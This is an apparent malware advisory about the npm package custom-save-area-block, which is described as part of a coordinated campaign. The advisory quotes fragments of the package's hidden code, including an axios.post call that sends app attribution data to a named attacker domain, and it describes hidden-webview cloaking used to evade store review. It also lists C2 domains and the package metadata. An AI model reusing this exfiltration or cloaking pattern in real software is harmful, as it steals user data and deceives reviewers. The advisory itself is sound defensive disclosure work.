High: Osv Malicious Advisory - **Category:** External Intel - **Confidence:** 100.0% The npm package \`custom-save-area-block\` (published by npm user \`sproger\`, slavatopbuyer@gmail.com) is a deceptive React Native component and part of a coordinated 37-package campaign across two attacker-controlled domains (surrprisingcoompanny.lol and barbellmate.xyz). On component mount it registers \`appsFlyer.onInstallConversionData\` and exfiltrates the app's install/conversion attribution data via \`axios.post("https://surrprisingcoompanny.lol", data)\`, fetches a remote-config URL, and renders it full-screen in a \`react-native-webview\` that is hidden (display:'none') unless the server returns a valid URL — i.e. App Store review-evasion / attribution-laundering ('cloaking'). The package name is a decoy unrelated to its actual function, and the real logic is concealed behind junk 'calculator' functions with Ukrainian-language comments. Indicators of compromise: C2 surrprisingcoompanny.lol, barbellmate.xyz; npm author \`sproger\`. Both C2 domains are currently unregistered (dangling-C2 takeover risk for any app still shipping these packages). Reproducible from the published tarball, e.g. socket-network@1.0.0 SocketComponent\*.jsx: appsFlyer.onInstallConversionData(...) -\> axios.post("https://surrprisingcoompanny.lol", data); axios.get(fLink) remote config; hidden \ gated on display:'none'/'flex'. ## Dependencies and install lifecycle - **Lifecycle scripts present:** No - **Dependencies:** 0 - **Optional dependencies:** 0 - **Peer dependencies:** 6 - **Development dependencies:** 0 - **Published dependency-graph edges:** 6 ### Published dependency entries - @react-native-async-storage/async-storage ^1.21.0 (PeerDependency) - axios ^1.6.2 (PeerDependency) - react ^18.2.0 (PeerDependency) - react-native ^0.73.2 (PeerDependency) - react-native-appsflyer ^6.12.2 (PeerDependency) - react-native-webview ^13.6.3 (PeerDependency) ## Package metadata - **Package:** custom-save-area-block - **Ecosystem:** npm - **Version:** 1.0.6 - **License:** ISC - **Version published:** Not available - **Package first seen:** 2026-06-30T15:00:00.099Z - **Package last seen:** 2026-06-30T15:00:00.099Z - **Known versions:** 7 - **Latest version:** 1.0.6 - **Appeal under review:** No - **Description:** Save area block for react native - **Author:** sproger - **Maintainers:** sproger - **Artifact files:** 4 - **Artifact unpacked size:** 5,850 bytes - **Artifact signatures:** 1 - **Attestations:** No ## References - [HTML security report]() - [OpenSSF/OSV advisory]() - [PACKAGE]()
